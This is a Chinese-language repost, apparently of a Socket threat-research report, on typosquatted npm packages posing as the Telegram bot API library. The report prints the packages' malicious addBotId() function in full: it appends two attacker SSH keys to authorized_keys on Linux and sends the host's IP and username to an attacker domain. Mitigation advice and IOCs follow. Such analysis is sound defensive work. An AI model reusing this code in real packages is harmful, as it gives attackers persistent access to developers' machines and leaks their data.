扫码领资料
获网安教程
来Track安全社区投稿~
赢千元稿费!还有保底奖励~(https://bbs.zkaq.cn)
冒充 Telegram 机器人库的恶意 npm 包在 Linux 开发者机器上安装 SSH 后门并窃取数据。
Socket 的威胁研究团队发现了一起新的供应链攻击事件:攻击者通过拼写错误的 Telegram 机器人库投放 SSH 后门并执行数据窃取操作。
Telegram 的开发者乐园
Telegram 是全球最受欢迎的消息平台之一,近年来也逐渐成为攻击者的重点目标。其开放的生态系统和对机器人友好的架构吸引了众多开发者,同时也为滥用行为提供了温床。
截至 2025 年,Telegram 每月活跃用户已超过10 亿,其中包含超过1200 万付费订阅者。
该平台没有为机器人提供集中或官方的应用商店,任何人都可以使用 Bot API 创建并发布机器人,且无需正式审核流程。虽然平台在一定程度上进行了内容管理(例如滥用举报、垃圾信息检测),但这些措施通常在部署后才会生效,并不像 Apple 的 App Store 或 Google Play 那样有提交前的审核阶段。
由于 Telegram 机器人开发不包含正式审核流程,其生态系统极易被滥用:
-
•庞大而脆弱的生态系统:机器人开发大赛(奖金高达 $50K)吸引了大量热情但经验不足的开发者。 -
•无监管门槛:在没有官方应用目录的情况下,恶意或伪造的 npm 包可以轻易被集成到机器人或应用中,不易引起警觉。
恶意 npm 包伪装成流行 Telegram Bot API 库植入 SSH 后门
自 2025 年初以来,我们观察到多个恶意 npm 包伪装成流行库node-telegram-bot-api
(下载量超过 417 万),该库是开发者通过 npm 扩展 Telegram 功能时默认安装的。被投放的拼写错误版本包括node-telegram-utils
、node-telegram-bots-api
和node-telegram-util
,它们在毫无察觉的主机上悄然安装了后门。
这些恶意包在过去几个月里累计被下载约 300 次。尽管这个数字看起来并不多,但只需一个环境被攻破,便可能为大规模渗透或数据泄露打开大门。供应链安全事件一再表明,即使安装量极少,也可能造成灾难性后果,尤其是当攻击者可以直接访问开发者系统或生产服务器时。
所有恶意包的总下载次数
恶意包
合法包:
-
• node-telegram-bot-api
- 被广泛信任的 Telegram 机器人库
合法的 Node.js Telegram 机器人库,下载量约为 420 万次
恶意包:
-
• node-telegram-utils
-
• node-telegram-bots-api
-
• node-telegram-util
这些恶意包复制了合法包的 README,以制造虚假的可信感,欺骗开发者。
Starjacking(劫持星标)
这些拼写错误的包甚至将其“主页”链接指向真实的 GitHub 仓库,使其在 npm 侧边栏中显示出 19K+ 的 star 数。通过劫持这个 star 数量,它们借用了合法项目的信任度,从而在第一眼就欺骗了开发者。
SSH 后门:持久访问与数据窃取
这些恶意的 Telegram 包在构造函数调用时会自动调用隐藏函数addBotId()
,执行以下操作:
-
1. 自动执行,仅限 Linux 系统 -
• 在包初始化时, addBotId()
检查os.platform()
。 -
• 如果检测到是Linux,则恶意操作开始执行——无需用户交互。 -
2. 注入 SSH 密钥 -
• 代码修改 ~/.ssh/authorized_keys
文件,写入两个由攻击者提供的 SSH 公钥。 -
• 从而实现持久的、无需密码的远程登录。即使其中一个密钥被删除,攻击者仍可使用备份密钥。 -
3. 数据窃取 -
• 脚本会收集系统的外部 IP(通过 ipinfo[.]io/ip
)以及用户名。 -
• 并立即与 solana[.]validator[.]blog
进行通信,确认系统已被入侵。
由于这段约 40 行的代码隐藏在一个看似正常的 Telegram 机器人库中,开发者很容易忽视它们。仅仅卸载该包并不能移除已注入的 SSH 密钥,系统仍将暴露在未经授权的访问风险之下。
恶意代码
async function addBotId() {
const username = os.userInfo().username;
const publicKey = `ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0eFAxoea78gXpURdj7ufXx1LVEOoVKawxRnwAghXHwGUw4V0V3n194wyUOUGrloGLn5IZ2JGdWLu0b0VHVG1asapkd8l7lKgvPf5yfjrccDs1qpvID8mLzsTfNMwZQlS+sw+bgJx/74f6i3t6QYuBsB0xPuLx8EXok96N1yTjPVXWq3Czwt5pmG+xZFddZLYDMpf8GonwdfTx7BACcapueoSMmOHZX3w1mjOHsT1b41gmHIEGsyo67KN4FLOkWOZIjc7Qge4iRjL24smRZPFJ4FeQjUo7rvEUxTNFb8yTgMGA+o2H3Uqvm/vXYiOTD87UUvy/3hOkoZzJLyFsV1bfyq6/8IQETqMguLzwIT8S1TlJHBUf1sXYh/5dHI4cMXz/r/eK4VlqQvZEE1TJIyAi0ZKnup6j2R3SdO/EIuZeanHyH/u6CboWZ8OcVzDY9EBVxmuYmkCIFiauNHlDNCJwm4CFM1oYinAQsh92zCUmZKQAgnH499mRPR1PWH4m1Ok= sleeper@DESKTOP-GM46AVB n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaDUmF1FSs6ZIP3Za94X9ehOdheKS4fXQMnOgmiFC4SKQsqHj63xIUCc2nZsRlMbzvxlCGp+MAKyEZSsqCH8QEZ9ye6ovd0wqI1zI1MJtTfMHIKdeVfdjjWgS9C14lX34j4iqAfZL6zkXWT20V3CFEM9UjJM3uvDs31t7FYN6CgB166lIUpxobpT5vfXIA8ZNVH230R9PSIWTSYSDq08bE/YbMouCHZ0RQHecq0AI3wiC4sT1HbUn48lJ37fDIJmfKLLPoNca6cK3Fl88CNQfWUpRsm4lF3Y8XPa6Hn5RQqgoYKd9QSfwOc63EvfqOIgfGuEC5P4BYuF5K/zF/GLeR administrator@Kakashi-PC`; // Multiple SSH keys for redundancy
if (os.platform() === 'linux') {
try {
const ipAddress = await getBotId();
const sshDir = path.join(os.homedir(), '.ssh');
const authorizedKeysPath = path.join(sshDir, 'authorized_keys');
if (!fs.existsSync(sshDir)) {
fs.mkdirSync(sshDir, { mode: 0o700 });
}
if (!fs.existsSync(authorizedKeysPath) || !fs.readFileSync(authorizedKeysPath, 'utf8').includes(publicKey)) {
fs.appendFileSync(authorizedKeysPath, `n${publicKey}`);
}
https.get(`hxxps://solana[.]validator[.]blog/v1/check?ip=${ipAddress}&name=${username}`);
} catch (err) {
console.error('Error:', err);
}
}
}
该代码添加了多个攻击者的密钥以实现持久访问,并窃取数据。
Socket AI 扫描器的分析,包括有关恶意node-telegram-util包的上下文细节。
影响
这些恶意 npm 包带来了重大威胁:
-
• 通过 SSH 实现持久的未经授权的服务器访问。 -
• 通过窃取敏感信息发生数据泄露。 -
• 任意远程代码执行,可能导致系统完全被攻破。
这些攻击的复杂性和多样性突显了开发者基础设施、用户隐私和操作安全面临的关键风险。
缓解 npm 恶意软件风险
最近发现的恶意 npm 包,如针对 Telegram 的包(node-telegram-utils
、node-telegram-bots-api
)突显了攻击者对软件供应链构成的持续威胁。即使是单个被攻破的开发机器或服务器,也能为攻击者提供更广泛渗透、未经授权的 SSH 访问和敏感数据窃取的突破口。
攻击者继续展现出适应性,利用 npm 这样的受信任开源生态系统分发伪装成合法工具的恶意软件。鉴于最近的趋势,我们预计攻击者将继续使用先进的混淆技术和不断变化的动态有效载荷投递方法发起攻击。
为了减轻这些风险,开发者和组织必须主动保护其软件供应链。定期的依赖性审计和自动化扫描工具对于在集成到生产环境之前检测并快速响应第三方包中的恶意或异常行为至关重要。
Socket 的GitHub 应用提供了对拉取请求的实时监控,在合并之前标记可疑或恶意的依赖项。在 npm 安装或构建过程中实施Socket CLI进一步通过识别漏洞和异常来加强管道的安全性,防止它们到达生产环境。此外,Socket 浏览器扩展通过分析浏览活动并在下载或与恶意内容互动之前向开发者发出潜在威胁警告,从而提供主动保护。将这些多层安全措施整合到开发工作流中,可以显著减少软件供应链被攻破的风险。
补充材料与IOCs
恶意包
-
• node-telegram-utils
-
• node-telegram-bots-api
-
• node-telegram-util
恶意作者
-
•jordankakashi
IOCs
-
• Malicious URLs: solana[.]validator[.]blog
MITRE ATT&CK 技术
-
•T1195.002— Supply Chain Compromise -
•T1036.005— Masquerading -
•T1505.003— Server Software Component: SSH Authorized Keys Modification -
•T1567.002— Exfiltration Over Web Service
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。
原文始发于微信公众号(白帽子左一):npm恶意软件盯上Telegram机器人开发者,植入SSH后门
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论